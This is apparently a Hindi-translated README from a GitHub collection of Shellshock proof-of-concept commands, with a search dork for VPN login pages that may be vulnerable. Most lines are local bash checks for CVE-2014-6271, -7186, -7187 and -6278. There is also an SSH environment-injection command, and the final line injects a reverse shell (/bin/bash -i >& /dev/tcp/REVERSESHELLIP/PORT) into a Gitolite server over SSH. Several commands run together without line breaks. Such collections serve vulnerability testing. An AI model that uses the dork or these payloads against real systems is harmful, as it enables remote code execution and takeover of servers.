mubix/shellshocker-pocs#ShellShocker के लिए प्रूफ ऑफ कॉन्सेप्ट और संभावित लक्ष्यों का संग्रह
#ShellShocker के लिए प्रूफ ऑफ कॉन्सेप्ट और संभावित लक्ष्यों का संग्रह
विकिपीडिया लिंक: https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
यदि आपके पास और लिंक या अन्य संसाधन हैं, तो कृपया पुल रिक्वेस्ट सबमिट करें।
अटकलें:(गैर-पुष्ट, संभावित रूप से असुरक्षित)
inurl:inurl:/dana-na/auth/url_default/welcome.cgi
यदि आप इनमें से किसी के लिए PoCs जानते हैं, तो कृपया लिंक के साथ एक इश्यू या पुल रिक्वेस्ट सबमिट करें।
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c idयदि असुरक्षित है, तो cwd में echo नामक एक फ़ाइल बनाएगा जिसमें दिनांक होगा
env X='() { (a)=>\' bash -c "echo date"; cat echobash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :यदि असुरक्षित है, तो segfault होगा
env X='() { x() { _; }; x() { _; } <<a; }' bash -c :LC_X='() { :; }; echo vulnerable' ssh [email protected] -o SendEnv=LC_Xssh GITOLITEUSER@VULNERABLEIP '() { ignore;}; /bin/bash -i >& /dev/tcp/REVERSESHELLIP/PORT 0>&1'